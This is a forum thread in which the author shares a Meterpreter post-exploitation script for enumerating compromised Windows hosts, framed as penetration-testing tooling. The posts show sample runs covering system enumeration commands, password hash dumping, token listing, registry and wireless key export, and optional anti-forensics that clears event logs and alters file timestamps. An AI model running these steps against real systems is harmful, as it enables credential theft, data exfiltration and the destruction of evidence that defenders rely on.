Page 1 of 2 12 LastLast
Results 1 to 10 of 14

Thread: Meterpeter Script for Quick Local Enumeration of Windows Hots

  1. #1

    Default Meterpeter Script for Quick Local Enumeration of Windows Hots

    Hi

    Guys I recently made a small quick and dirty Meterpreter script for enumerating and gathering all the typical information I tend to gather out of Windows 2003 and XP hosts after a compromise. Since in most engagements I'm not allowed to install any software on the target hosts I made it so it will use windows native command line tools.

    here is a sample of running it, once a machine is exploited and meterpreter is deploy just type run winenum to launch the script:

    Code:
    meterpreter > run winenum 
    [*] Running Windows Local Enumerion Meterpreter Script by Darkoperator
    [*] New session on 10.10.10.7:1249...[*] Executing: set[*] Executing: arp -a
    [*] Executing: ipconfig /all
    [*] Executing: ipconfig /displaydns
    [*] Executing: route print
    [*] Executing: net view
    [*] Executing: netstat -na
    [*] Executing: netstat -ns
    [*] Executing: net share
    [*] Executing: net view
    [*] Executing: net group
    [*] Executing: net user
    [*] Executing: net localgroup
    [*] Executing: net view /domain
    [*] Executing: netsh firewall show config
    [*] Executing: wmic computersystem list
    [*] Executing: wmic useraccount list
    [*] Executing: wmic group
    [*] Executing: wmic service list brief
    [*] Executing: wmic volume list brief
    [*] Executing: wmic process list brief
    [*] Executing: wmic startup list full
    [*] Executing: wmic qfe
    [*] Downloading WDSRB.txt to -> /tmp/10.10.10.7_20081123.390899982
    [*] Dumping password hashes...
    [*] Exporting HKCU
    [*] Compressing HKCU into cab file for faster download
    [*] Exporting HKLM
    [*] Compressing HKLM into cab file for faster download
    [*] Exporting HKCC
    [*] Compressing HKCC into cab file for faster download
    [*] Exporting HKCR
    [*] Compressing HKCR into cab file for faster download
    [*] Exporting HKU
    [*] Compressing HKU into cab file for faster download
    [*] Downloading HKCU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCU
    [*] Downloading HKLM.cab to -> /tmp/10.10.10.7_20081123.390899982-HKLM
    [*] Downloading HKCC.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCC
    [*] Downloading HKCR.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCR
    [*] Downloading HKU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKU
    [*] Removing anything we left behind...
    [*] Done!
    
    meterpreter >
    and here is the code, you have to place it in /pentest/exploits/framework3/script/meterpreter/ and name it winenum.rb

    UPDATE:
    Josh Wright from Inguardians published a great paper called Vista Wireless Power Tools on the new features of Windows Vista wireless commands plus published several tools. I added the enumerations commands to Winenum plus it will now export the registry keys where the wireless configured networks of Windows XP and Windows Vista machines is stored, this files can be imported into the pentesters windows bos to gain access to the clients network or to get the wireless keys using other tools after importing.

    let me know if you like it.

  2. #2
    Good friend of the forums
    Join Date
    Jun 2008
    Posts
    425

    Default

    Thanks, being looking for a autoscript that can get info about the sorounding network.
    I don't understand ruby, ? does that run on the target or your computer to get that info.

  3. #3

    Default

    It is running in your machine using the meterpreter API to execute the commands on the host you are connected to and it will also use some of the API like the PRIV Hashdump and the API to execute a download of the files thru the control channel.

  4. #4
    Member
    Join Date
    Feb 2010
    Posts
    204

    Default

    excellent work,

    could do with your help in the fake ap thread

  5. #5
    Member
    Join Date
    Jan 2010
    Posts
    81

    Default

    nice work..


    have you a tool to open .cab files in BackTrack?


    cherrs ozzy

    oh sorry i mine .cab .....

  6. #6
    Member hawaii67's Avatar
    Join Date
    Feb 2006
    Posts
    318

    Default

    Quote Originally Posted by ozzy66 View Post
    nice work..


    have you a tool to open .cap files in BackTrack?


    cherrs ozzy
    Wireshark? Tcpdump?
    Don't eat yellow snow :rolleyes:

  7. #7

    Default

    http://www.cabextract.org.uk/
    sadly you would have to download the tool and compileit in backtrack. Remember the constraint I had when I wrote the script was that I could not upload or install any executable on the client system (dum ROE but an ROE all the same).

  8. #8

    Default

    I just re-wrote the entire script and made it more modular, with better error handling and added anti-forensic features (Optional depending on the Rules of Engagement) and also added a check for detecting if the target machine is a VM for VMware or Virtual Box (Hyper-v and Citrix Xen will be added soon) The script has to be placed in the scripts/meterpreter/ folder in the root of the metasploit folder so to be able to use it.

    http://www.darkoperator.com/winenum2.rb.tar.gz

    The script will do the following:

    Execute on the host and get the output for:

    * set
    * arp -a
    * ipconfig /all
    * ipconfig /displaydns
    * route print
    * net view
    * netstat -na
    * netstat -ns
    * net share
    * net view
    * net group
    * net user
    * net localgroup
    * net view /domain
    * netsh firewall show config
    * wmic computersystem list
    * wmic useraccount list
    * wmic group
    * wmic service list brief
    * wmic volume list brief
    * wmic process list brief
    * wmic startup list full
    * wmic qfe

    It will also :
    * Check if the target machine is a VMware or Virtual Box VM
    * Run meterpreter hashdump
    * List all tokens on the server that can be used with Incognito
    * export, compress and download all registry hives
    * Clear all event logs
    * Change the MACE of the executables used on the host.

    Here is some output from meterpreter
    Code:
    meterpreter > run winenum2
    Windows Local Enumerion Meterpreter Script by Darkoperator
    Carlos Perez carlos_perez@darkoperator.com
    Usage:
    
    -h This help message.
    
    -a Run all commands including clearing event log and changing the
    Changing Access Time, Modified Time and Created Time of executables
    that where run on the target machine
    
    -m Run all commands minus clearing the event logs and changing the MACE
    of executables that where run in the target machine.
    meterpreter >
    meterpreter > run winenum2 -a
    [*] Running Windows Local Enumeration Meterpreter Script by Darkoperator
    [*] New session on 10.10.10.23:1149...
    [*] Saving report to /tmp/10.10.10.23_20081130.270505021
    [*] Checking if WINXPVM01 is a Virtual Machine ........
    [*] This is a VMWare virtual Machine
    [*] Running Command List ...
    [*] running command cmd.exe /c set
    [*] running command arp -a
    [*] running command ipconfig /all
    [*] running command ipconfig /displaydns
    [*] running command route print
    [*] running command net view
    [*] running command netstat -na
    [*] running command netstat -ns
    [*] running command net share
    [*] running command net group
    [*] running command net user
    [*] running command net localgroup
    [*] running command net view /domain
    [*] running command netsh firewall show config
    [*] running command tasklist /svc
    [*] Running WMIC Commands ....
    [*] running command wimic computersystem list
    [*] running command wimic useraccount list
    [*] running command wimic group
    [*] running command wimic service list brief
    [*] running command wimic volume list brief
    [*] running command wimic process list brief
    [*] running command wimic startup list full
    [*] running command wimic qfe
    [*] Dumping password hashes...
    [*] Hashes Dumped
    [*] Getting Tokens...
    [*] All tokens have been processed
    [*] Dumping and Downloading the Registry
    [*] Exporting HKCU
    [*] Compressing HKCU into cab file for faster download
    [*] Exporting HKLM
    [*] Compressing HKLM into cab file for faster download
    [*] Exporting HKCC
    [*] Compressing HKCC into cab file for faster download
    [*] Exporting HKCR
    [*] Compressing HKCR into cab file for faster download
    [*] Exporting HKU
    [*] Compressing HKU into cab file for faster download
    [*] Downloading HKCU.cab to -> /tmp/HKCU.cab
    [*] Downloading HKLM.cab to -> /tmp/HKLM.cab
    [*] Downloading HKCC.cab to -> /tmp/HKCC.cab
    [*] Downloading HKCR.cab to -> /tmp/HKCR.cab
    [*] Downloading HKU.cab to -> /tmp/HKU.cab
    [*] Deleting left over files
    [*] Clearing Event Logs, this will leave and event 517
    [*] Clearing the security Event Log
    [*] Clearing the system Event Log
    [*] Clearing the application Event Log
    [*] Clearing the directory service Event Log
    [*] Clearing the dns server Event Log
    [*] Clearing the file replication service Event Log
    [*] Alll Event Logs have been cleared
    [*] Changing Access Time, Modified Time and Created Time of Files Used
    [*] Changing file MACE attributes on C:\WINDOWS\system32\cmd.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\reg.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\ipconfig.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\route.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\net.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\netstat.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\netsh.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\makecab.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\tasklist.exe
    [*] Changing file MACE attributes on C:\WINDOWS\system32\wbem\wmic.exe
    [*] Done!
    I hope you guys find it useful.

  9. #9
    Junior Member
    Join Date
    Aug 2007
    Posts
    63

    Default

    Thanks for the share Dark, it really helping out there , just testing it now and worked great !!

  10. #10

    Default

    Glad you like it as soon as I test some stuff out I will keep updating it.

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •